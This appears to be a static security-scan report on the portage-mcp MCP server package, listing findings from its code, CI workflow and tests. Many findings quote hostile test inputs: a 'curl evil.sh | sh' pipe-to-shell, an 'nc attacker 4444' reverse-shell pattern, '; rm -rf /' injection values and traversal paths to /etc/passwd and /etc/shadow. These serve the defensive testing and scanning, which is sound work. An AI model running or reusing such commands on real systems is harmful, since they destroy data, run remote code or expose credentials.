Skills/PyPI/portage-mcp

portage-mcp@0.1.0

CAUTION· static only

Publisher claims: "Generate an MCP server from any CLI tool's own --help output." Observed in sandbox: static analysis only — behavior not yet observed.

Registry PyPI (MCP server)Publisher jayaprakash2207 · publishing for 67 daysInstalls 51Last detonated 28 min ago

Coverage

Static only; nothing was run yet.

The label rests on the code, the instruction files and the publisher. The honeypot run replaces this verdict when it completes.

Before you give it your token

It will ask for
PORTAGE_ENGINE_TOKENConfiguration, not credentials: PORTAGE_ENGINE_URL
Where it talks to
no vendor host named in the code
What the honeypot saw
nothing has run yet
What we could not test
everything: the server has not run yet

Run it before you trust it. Nothing has run yet: the code was read, the server was not. `vet-skills try` runs this exact version in the honeypot in about a minute.

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills analysed it statically (a sandbox run is pending) on 2026-11-14 and scored it 57/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Collapsed <details> block carrying instructions. Summary: static analysis only — behavior not yet observed.

Behavior trace

Queued for honeypot run · static analysis only
t+CategoryObserved action

This version has not been detonated yet. The score above counts behavior as unknown (50/100), so it cannot read Verified until the honeypot run completes and replaces this verdict.

Static findings

MEDIUM
Privileged sudo command.github/workflows/ci.yml:46 · Privileged sudo command — agent may execute with elevated privilegessudo apt-get updateFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Collapsed <details> block carrying instructionsREADME.md:203 · Collapsed <details> block carrying instructions<summary><b>What is <i>not</i> yet covered</b></summary> - Container / restricted-user isolation on the deployed engine (the sandbox wrappers exist; a permittedFix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
MEDIUM
Python subprocess execution detectedsrc/portage/executor.py:280 · Python subprocess execution detectedcompleted = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
MCP server using network transport (SSE/HTTP)tests/test_server.py:14 · MCP server using network transport (SSE/HTTP) — data sent over networkfrom portage.server import build_http_app, build_mcp_server, run_http, serve_stdio, tool_to_mcpFix: Namespace tool names and keep tool descriptions literal; no instructions to the agent inside them.
AST04
MEDIUM
Destructive file system command detectedtests/test_safety.py:218 · Destructive file system command detectedarguments={"name": "; rm -rf /"},Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Remote installer piped to shelltests/test_security_matrix.py:26 · Remote installer piped to shell"$(curl evil.sh | sh)",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Destructive file system command detectedtests/test_security_matrix.py:23 · Destructive file system command detected"; rm -rf /",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Pipe-to-shell patterntests/test_security_matrix.py:26 · Pipe-to-shell pattern — downloads and immediately executes remote code"$(curl evil.sh | sh)",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Python subprocess execution detectedsrc/portage/executor.py:9 · Python subprocess execution detected-> run_process() # subprocess.run(argv, shell=False, timeout=...)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Access to sensitive file pathstests/test_hardening.py:94 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesarguments={"target": "/etc/passwd"},Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Destructive file system command detectedtests/test_discovery.py:265 · Destructive file system command detectedresolved = discovery.resolve_executable("./tool; rm -rf /")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_executor.py:133 · Destructive command against a filesystem root or devicebuild_command_arguments(specs, {"jobs": "4; rm -rf /"})Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive file system command detectedtests/test_executor.py:133 · Destructive file system command detectedbuild_command_arguments(specs, {"jobs": "4; rm -rf /"})Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Access to sensitive file pathstests/test_executor.py:102 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesassert argv == ["--output", "/etc/passwd"]Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedsrc/portage/manpage.py:117 · Python subprocess execution detectedcompleted = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Destructive file system command detectedtests/test_safety.py:226 · Destructive file system command detectedassert json.loads(outcome.result.stdout) == ["; rm -rf /"] # passed as dataFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
npx invocation of non-well-known packagedeploy/cloudflare-worker/test-local.sh:24 · npx invocation of non-well-known package — may execute untrusted code( cd "$here" && npx --yes wrangler dev --port "$worker_port" --local >/tmp/portage-worker.log 2>&1 ) &Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Destructive command against a filesystem root or devicetests/test_discovery.py:265 · Destructive command against a filesystem root or deviceresolved = discovery.resolve_executable("./tool; rm -rf /")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_security_matrix.py:23 · Destructive command against a filesystem root or device"; rm -rf /",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Access to sensitive file pathstests/test_executor.py:103 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesassert "--output=/etc/passwd" not in argv # never joined with "="Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_hardening.py:32 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesassert check_values(rules, {"url": "file:///etc/passwd"}).ok is FalseFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_safety.py:218 · Destructive command against a filesystem root or devicearguments={"name": "; rm -rf /"},Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Access to sensitive file pathstests/test_executor.py:44 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"--output=/etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_security_matrix.py:31 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"../../../../../../etc/shadow",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Privileged sudo command.github/workflows/ci.yml:47 · Privileged sudo command — agent may execute with elevated privilegessudo apt-get install -y jq ripgrep curl ffmpeg bubblewrap man-dbFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commanddeploy/cloudflare-worker/test-local.sh:28 · Process kill command — agent can terminate processeskill "$engine_pid" "$worker_pid" 2>/dev/null || trueFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Access to sensitive file pathstests/test_executor.py:101 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesargv = build_command_arguments(specs, {"output": "/etc/passwd"})Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_executor.py:42 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"../../../../etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Pipe to network utilitytests/test_security_matrix.py:25 · Pipe to network utility — potential reverse shell"| nc attacker 4444",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedsrc/portage/discovery.py:279 · Python subprocess execution detectedcompleted = subprocess.run(Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Access to sensitive file pathstests/test_hardening.py:38 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesassert check_values(rules, {"path": "../../etc/passwd"}).ok is FalseFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Access to sensitive file pathstests/test_security_matrix.py:35 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"${IFS}cat${IFS}/etc/passwd",Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_safety.py:226 · Destructive command against a filesystem root or deviceassert json.loads(outcome.result.stdout) == ["; rm -rf /"] # passed as dataFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05

Cost to the agent

Instructions loaded
≈51 tok
1 file · 81 in bundle

Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.

Known vulnerabilities

No advisories in OSV for portage-mcp@0.1.0 as of 5 min ago. This is the package itself, not its dependencies.

What would make this Verified

23 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Unclaimed publisher≈ +8 on the totalClaim jayaprakash2207: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  2. Hidden instructions≈ +6 on the totalRemove HTML comments, zero-width characters and white-on-white text that carry instructions. Everything the agent is meant to read should be visible to the person reading the file.
  3. Privileged sudo command≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  4. Python subprocess execution detected≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  5. MCP server using network transport (SSE/HTTP)≈ +2 on the totalNamespace tool names and keep tool descriptions literal; no instructions to the agent inside them.
  6. Destructive file system command detected≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
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